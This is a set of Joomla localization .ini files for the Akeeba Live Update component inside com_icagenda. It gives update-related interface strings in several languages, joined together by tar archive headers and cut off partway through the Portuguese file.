; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server"
LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattate il fornitore e chiedete di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, fate verificare la configurazione del firewall per permettere l'accesso al seguente URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare <var>%s</var> visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni."

LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash"
LIVEUPDATE_STUCK_INFO="Live Update ha determinato che, nell'ultimo tentativo di contattare il server di aggiornamento, l'operazione è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazione con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "_QQ_"Verifica disponibilità aggiornamenti"_QQ_" più sotto. Se il risultato è una pagina vuota, contattate il vostro fornitore per segnalare il problema."

LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e Password oppure il proprio Download ID tra i parametri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'inserimento di tali informazioni."
LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione"
LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili nuovi aggiornamenti"
LIVEUPDATE_CURRENTVERSION="Versione installata"
LIVEUPDATE_LATESTVERSION="Ultima versione"
LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione"
LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto"

LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti"
LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione"

LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate correttamente le informazioni di configurazione in Joomla. Inserite qui sotto Username e Password per il servizio FTP per proseguire con l'aggiornamento."
LIVEUPDATE_FTP="Informazioni FTP"
LIVEUPDATE_FTPUSERNAME="Username FTP"
LIVEUPDATE_FTPPASSWORD="Password FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento"

LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificate che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito."
LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato."
LIVEUPDATE_INSTALLEXT="Installazione %s %s"
LIVEUPDATE_ERROR="Errore"
LIVEUPDATE_SUCCESS="Completato"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato"
LIVEUPDATE_ICON_CRASHED="Live Update non funziona correttamente"
LIVEUPDATE_ICON_CURRENT="Non sono disponibili nuovi aggiornamenti"
LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/nl-NL/nl-NL.liveupdate.ini000060400000007773152455305300017600 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund"
LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt <var>%s</var> altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren."

LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht"
LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "_QQ_"Ververs update informatie"_QQ_" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit."

LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is."
LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar"
LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al"
LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie"
LIVEUPDATE_LATESTVERSION="Nieuwste versie"
LIVEUPDATE_LATESTRELEASED="Datum laatste release"
LIVEUPDATE_DOWNLOADURL="URL voor directe download"

LIVEUPDATE_REFRESH_INFO="Ververs update-informatie"
LIVEUPDATE_DO_UPDATE="Update naar de laatste versie"

LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.<br/><br/>Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten."
LIVEUPDATE_FTP="FTP informatie"
LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam"
LIVEUPDATE_FTPPASSWORD="FTP wachtwoord"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update"

LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn."
LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan."
LIVEUPDATE_INSTALLEXT="Installeer %s %s"
LIVEUPDATE_ERROR="Fout"
LIVEUPDATE_SUCCESS="Succesvol"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund"
LIVEUPDATE_ICON_CRASHED="Live Update gecrasht"
LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie"
LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/lt-LT/lt-LT.liveupdate.ini000060400000010626152455305300017617 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Automatinis atnaujinimas"

LIVEUPDATE_NOTSUPPORTED_HEAD="Šiame serveryje automatinis atnaujinimas negalimas"
LIVEUPDATE_NOTSUPPORTED_INFO="Jūsų serveris rodo, kad automatinis atnaujinimas yra negalimas. Prašome susisiekti su savo tinklapio talpintojais ir paprašyti įgalinti cURL PHP plėtinį arba aktyvuoti URL fopen(). Jei šie plėtiniai jau yra įgalinti, paprašykite jų sukonfigūruoti savo ugniasienę taip, kad ji leistų prieigą prie šios URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Jūs visada galite atnaujinti <var>%s</var> rankiniu būdu, aplankydami mūsų tinklapį, parsisiųsdami naujausią programos laidą ir įdiegdami standartiniu Joomla! Būdu."

LIVEUPDATE_STUCK_HEAD="Automatinis atnaujinimas nurodė, kad įvyko programinė klaida"
LIVEUPDATE_STUCK_INFO="Automatinis atnaujinimas nurodė, kad bandant susisiekti su atnaujinimų serveriu įvyko programinė klaida. Paprastai tai rodo, kad tinklapio talpintojas aktyviai blokuoja ryšius su išorinėmis svetainėmis. Jei norite pabandyti iš naujo parsisiųsti atnaujinimo informaciją, prašome spragtelėti žemiau esantį mygtuką "_QQ_"Atnaujinti informaciją"_QQ_". Jei parodomas tuščias puslapis, norint išspręsti šią problemą turėsite kreiptis į savo tinklapio talpintoją."

LIVEUPDATE_ERROR_NEEDSAUTH="Norėdami atsinaujinti į naujausią programos versiją, turite nurodyti savo prisijungimo vardą/slaptažodį arba Parsisiuntimo ID komponento parametruose. Kol to nepadarysite, atnaujinimo mygtukas išliks neaktyvus."
LIVEUPDATE_HASUPDATES_HEAD="Yra nauja versija"
LIVEUPDATE_NOUPDATES_HEAD="Jūs turite naujausią programos versiją."
LIVEUPDATE_CURRENTVERSION="Įdiegta versija"
LIVEUPDATE_LATESTVERSION="Naujausia versija"
LIVEUPDATE_LATESTRELEASED="Naujausios versijos išleidimo data"
LIVEUPDATE_DOWNLOADURL="Tiesioginė parsisiuntimo nuoroda"

LIVEUPDATE_REFRESH_INFO="Atnaujinti informaciją"
LIVEUPDATE_DO_UPDATE="Atnaujinti į naujausią versiją"

LIVEUPDATE_FTP_REQUIRED="Automatinis atnaujinimas nustatė, kad norint atsisiųsti ir įdiegti atnaujinimą turi būti naudojamas FTP sluoksnis, tačiau Jūs nenurodėte savo FTP prisijungimo duomenų globaliose savo tinklapio Joomla! nuostatose.<br/><br/>Jei norite įdiegti naujinimą, nurodykite FTP prisijungimo duomenis."
LIVEUPDATE_FTP="FTP informacija"
LIVEUPDATE_FTPUSERNAME="FTP naudotojo vardas"
LIVEUPDATE_FTPPASSWORD="FTP slaptažodis"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Atsisiųsti ir įdiegti naujinimą"

LIVEUPDATE_DOWNLOAD_FAILED="Nepavyko atsisiųsti atnaujinimo paketo. Įsitikinkite, kad į tinklapio laikinąjį aplanką leidžiama rašyti ir tai, kad Jūsų tinklapio globaliose Joomla! nuostatose įgalintas FTP naudojimas."
LIVEUPDATE_EXTRACT_FAILED="Nepavyko išpakuoti atnaujinimo paketo. Prašome bandyti atsinaujinti rankiniu būdu."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Neteisingas paketo tipas. Atnaujinimas negalimas"
LIVEUPDATE_INSTALLEXT="Įdiegti %s %s"
LIVEUPDATE_ERROR="Klaida"
LIVEUPDATE_SUCCESS="Pavyko"

LIVEUPDATE_ICON_UNSUPPORTED="Automatinis atnaujinimas nepalaikomas"
LIVEUPDATE_ICON_CRASHED="Įvyko automatinio atnaujinimo programinis lūžis"
LIVEUPDATE_ICON_CURRENT="Jūs turite naujausią programos versiją."
LIVEUPDATE_ICON_UPDATES="GALIMAS ATNAUJINIMAS! NORĖDAMI ATSINAUJINTI SPRAGTELĖKITE ČIA"

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/sv-SE/sv-SE.liveupdate.ini000060400000010141152455305300017611 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server"
LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerar att Live Update inte stöds. Kontakta ditt webbhotell och be dem aktivera PHP-tillägget cURL och att aktivera URL fopen() wrappers. Om detta redan är aktiverat skall du be dem konfiurera brandväggen så att den accepterar anslutningar från följande URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera <var>%s</var> manuellt genom att vår webbplats och ladda ned senaste utgåvan och installera via Joomla som vanligt."

LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som krashad"
LIVEUPDATE_STUCK_INFO="Live Update har indikerat att den kraschade förra gången den försökte kontakta uppdateringsservern. Detta händer vanligen om kommunikationen med externa webbplatser aktivt har blockerats. Om du vill fortsätta hämta uppdateringsinformation, klicka på knappen "_QQ_"Hämta uppdateringsinfo på nytt"_QQ_" här nedan. Om detta resluterar i en blank sida skall du kontakta ditt webbhotell och rapportera ärendet."

LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange användarnamn/lösenord eller Nedladdnings-ID i komponentens Inställningar innan du försöker uppdatera till senaste version. Uppgraderingsknappen kommer att vara inaktiv till dess detta är gjort."
LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version tillgänglig"
LIVEUPDATE_NOUPDATES_HEAD="Du har den senatste versionen"
LIVEUPDATE_CURRENTVERSION="Installerad version"
LIVEUPDATE_LATESTVERSION="Senaste version"
LIVEUPDATE_LATESTRELEASED="Senaste utgåvodatum"
LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL"

LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation"
LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version"

LIVEUPDATE_FTP_REQUIRED="Live Update har upptäckt att den behöver använda FTP för att kunna ladda ned och installera uppdateringen. Du har inte sparat din FTP-inloggningsinfo i Joomlas globala inställningar.<br/><br/>Ange ditt FTP användarnamn och lösenord nedan för att fortsätta med uppdateringen."
LIVEUPDATE_FTP="FTP-Information"
LIVEUPDATE_FTPUSERNAME="FTP användarnamn"
LIVEUPDATE_FTPPASSWORD="FTP Lösenord"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdateringen"

LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringen misslyckades. Kontrollera att temp-mappen är skrivbar och att du aktiverat Joomla!s FTP-lager i de globala inställningarna för din webbplats."
LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdaterinspaketet misslyckades. Försök att uppdatera tillägget manuellt."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta."
LIVEUPDATE_INSTALLEXT="Installera %s %s"
LIVEUPDATE_ERROR="FEL!"
LIVEUPDATE_SUCCESS="Klart"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte"
LIVEUPDATE_ICON_CRASHED="Live Update krashade"
LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen"
LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA."

LIVEUPDATE_RELEASEINFO="Information"
LIVEUPDATE_RELEASENOTES="Release notes"
LIVEUPDATE_READMOREINFO="Läs mer"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/tr-TR/tr-TR.liveupdate.ini000060400000010010152455305300017632 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelleme"

LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor"
LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="<var>%s</var> güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz."

LIVEUPDATE_STUCK_HEAD="Canlı güncellemede bir sorun çıkmış"
LIVEUPDATE_STUCK_INFO="Canlı Güncelleme, güncelleme sunucusuna son kez bağlanmaya çalıştığında bir sorun çıkmış. Bu duruma genellikle dışarıdaki sunuculara yapılan bağlantıları engelleyen bir ayar yol açar. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "_QQ_"Güncelleme bilgisini alın"_QQ_" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız bu durumu sunucu yöneticinize iletin."

LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarları bölümüne kullanıcı adınızı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelleyin düğmesi devre dışı kalır."
LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm var"
LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz"
LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm"
LIVEUPDATE_LATESTVERSION="Son sürüm"
LIVEUPDATE_LATESTRELEASED="Son yayın tarihi"
LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi"

LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini alın"
LIVEUPDATE_DO_UPDATE="Son sürüme güncelleyin"

LIVEUPDATE_FTP_REQUIRED="Canlı Güncelleme, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.<br/><br/>Bu güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın."
LIVEUPDATE_FTP="FTP Bilgileri"
LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı"
LIVEUPDATE_FTPPASSWORD="FTP Parolası"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indirin ve yükleyin"

LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun."
LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni el ile güncellemeyi deneyin."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor."
LIVEUPDATE_INSTALLEXT="%s %s yükleyin"
LIVEUPDATE_ERROR="Hata"
LIVEUPDATE_SUCCESS="Başarılı"

LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme desteklenmiyor"
LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi"
LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz"
LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN."

LIVEUPDATE_RELEASEINFO="Bilgiler"
LIVEUPDATE_RELEASENOTES="Yayın Notları"
LIVEUPDATE_READMOREINFO="Devamını okuyun"

LIVEUPDATE_NAGSCREEN_HEAD="DİKKAT! Kararsız bir sürüm yüklemek üzeresiniz."
LIVEUPDATE_NAGSCREEN_BODY="Kararsız bir sürüm yüklemek üzeresiniz (%s - %s). Kararsız sürümler çok az denendiği ya da hiç denenmediği için hatalar içerir ve web sitenizin düzgün çalışmasını engelleyebilir. Ne yaptığınızdan emin değilseniz bu tarayıcı penceresini kapatın. Kararsız sürümleri yüklemekle alacağınız risklerin farkındaysanız, yüklemeye devam etmek için aşağıdaki düğmeye tıklayın."
LIVEUPDATE_NAGSCREEN_BUTTON="Riskleri anladım. Yüklemeye devam edeceğim."

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="Yayın adayı"
LIVEUPDATE_STABILITY_STABLE="Kararlı"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/sl-SI/sl-SI.liveupdate.ini000060400000010165152455305300017603 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Posodobljanje v živo"

LIVEUPDATE_NOTSUPPORTED_HEAD="Posodabljanje v živo ni podprto na tem strežniku"
LIVEUPDATE_NOTSUPPORTED_INFO="Vaš server ne podpira Live Posodobitev. Obrnite se na svojega gostitelja in ga prosite, da se omogoči razširitev CURL PHP ali aktivira URL fopen () ovoje. Če so ti že omogočeno, ga prosite, naj svoje požarni zid konfigurirate tako, da omogoča dostop do naslednjih URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vedno lahko posodobite <var>%s</var> tako, da obiščete našo spletno stran, ročno prenesete najnovejše sprostitve in jih namestite z Joomla! 's namestitev razširitve."

LIVEUPDATE_STUCK_HEAD="Posodobitev v živo je označena kot spodletelo"
LIVEUPDATE_STUCK_INFO="Posodobitev v živo je določila, da se je zrušila v zadnjem času, ko je poskušala stopiti v stik strežnika za posodabljanje. To ponavadi pomeni, gostitelja, ki aktivno blokira komunikacijo z zunanjimi spletnimi stranmi. Če želite ponoviti ljubek posodabljanje informacij, prosimo, kliknite "_QQ_"Osvežite informacije posodabljanja"_QQ_" spodnji gumb. Če bo rezultat prazna stran, prosimo, obrnite se na gostitelja, in poročajte o tej zadevi."

LIVEUPDATE_ERROR_NEEDSAUTH="Morate predloži svoje uporabniško ime / geslo ali ID Prenosa s parametri sestavnega dela, preden poskušate nadgraditi na najnovejšo različico. Gumb Nadgradnja bo ostal onemogočen."
LIVEUPDATE_HASUPDATES_HEAD="Nova različica je na voljo"
LIVEUPDATE_NOUPDATES_HEAD="Že imate zadnjo verzijo"
LIVEUPDATE_CURRENTVERSION="Nameščena različica"
LIVEUPDATE_LATESTVERSION="Zadnja različica"
LIVEUPDATE_LATESTRELEASED="Zadnji Datum izdaje"
LIVEUPDATE_DOWNLOADURL="Direktni prenos URL"

LIVEUPDATE_REFRESH_INFO="Osveži informacij posodobitev"
LIVEUPDATE_DO_UPDATE="Posodobitev na najnovejšo različico"

LIVEUPDATE_FTP_REQUIRED="Posodobitev v živo določa, da morate uporabiti FTP, da prenesete in namestite posodobitev, vendar niste shranili FTP podatke za prijavo v vaši Joomla! Globalne Konfiguracije.<br/><br/>Prosimo, za FTP uporabniško ime in geslo za nadaljevanje posodobitve."
LIVEUPDATE_FTP="FTP Informacije"
LIVEUPDATE_FTPUSERNAME="FTP Uporabniško ime"
LIVEUPDATE_FTPPASSWORD="FTP Geslo"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Prenesite in namestite posodobitev"

LIVEUPDATE_DOWNLOAD_FAILED="Nalaganje posodobitvenega paketa ni uspela. Prepričajte se, da je vaš temp-imenik zapisljiv ali da ste omogočili Joomla! 'S FTP možnosti v vaše strani Globalne Konfiguracije."
LIVEUPDATE_EXTRACT_FAILED="Pridobivanja posodobitvenega paketa ni uspela. Poskusite posodabljanje razširitve ročno."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Neveljavna vrsta paketa.Posodobitev ne morem nadaljevati."
LIVEUPDATE_INSTALLEXT="Nameščeno %s %s"
LIVEUPDATE_ERROR="Napaka"
LIVEUPDATE_SUCCESS="Uspešno"

LIVEUPDATE_ICON_UNSUPPORTED="Posodabljanje v živo ni podprto"
LIVEUPDATE_ICON_CRASHED="Posodabljanje v živo je spodletelo"
LIVEUPDATE_ICON_CURRENT="Imate najnovejšo različico"
LIVEUPDATE_ICON_UPDATES="POSODOBITEV NA VOLJO! KLIKNITE ZA POSODOBITEV."

LIVEUPDATE_RELEASEINFO="Informacije"
LIVEUPDATE_RELEASENOTES="Opombe ob izdaji"
LIVEUPDATE_READMOREINFO="Preberite več"

LIVEUPDATE_NAGSCREEN_HEAD="OPOZORILO! Ste pred tem namestiti nestabilno različico."
LIVEUPDATE_NAGSCREEN_BODY="Ste pred tem namestili nestabilno različico (%s - %s). Nestabilne različice so lahko opravili minimalno ali brez testiranja in vsebujejo napake, ki imajo lahko resno škodljivost za stabilnost in funkcionalnost vaše spletne strani. Če niste prepričani o tem, kaj si o tem narediti, zaprite to okno brskalnika. Če ste popolnoma prepričani, da razumete tveganja, povezana z namestitvijo nestabilnih izdaj, kliknite na spodnji gumb, da nadaljujte z namestitvijo te nestabilne izdaje."
LIVEUPDATE_NAGSCREEN_BUTTON="Razumem tveganja. Nadaljujte z namestitvijo."

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Stabilna"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/pt-PT/pt-PT.liveupdate.ini000060400000010631152455305300017633 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Atualizações"

LIVEUPDATE_NOTSUPPORTED_HEAD="Atualizações diretas não são suportadas neste servidor"
LIVEUPDATE_NOTSUPPORTED_INFO="O seu servidor indica que a atualização direta não é suportada. Por favor contate o seu alojamento e peça-lhes para ativar a extensão cURL do PHP ou ativar a função fopen(). Se estas já estiverem ativadas, por favor peça-lhes para configurar o firewall para permitir o acesso à seguinte URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Pode sempre atualizar pelo processo normal <var>%s</var> visita o nosso sítio, descarrega a última versão e instala pelo instalador de extensões do Joomla."

LIVEUPDATE_STUCK_HEAD="O atualizador direto marcou-se a si mesmo como defeituoso"
LIVEUPDATE_STUCK_INFO="O atualizador direto indica que bloqueou na última vez que tentou entrar em contato com o servidor de atualização. Isso geralmente indica um alojamento que bloqueia ativamente as comunicações com sites externos. Se quiser tentar novamente obter as informações de atualização, por favor clique no botão ATUALIZAR INFORMAÇÕES DE ATUALIZAÇÃO. Se isto resultar numa página em branco, carrtegue no botão voltar e depois contate seu gestor de alojamento e relate este problema."

LIVEUPDATE_ERROR_NEEDSAUTH="Deve indicar um nome de utilizador/senha ou Download ID para os parâmetros do componente antes de tentar fazer a atualização para a última versão. O botão de atualização continuará desativado até que faça isso."
LIVEUPDATE_HASUPDATES_HEAD="Está disponível uma nova versão"
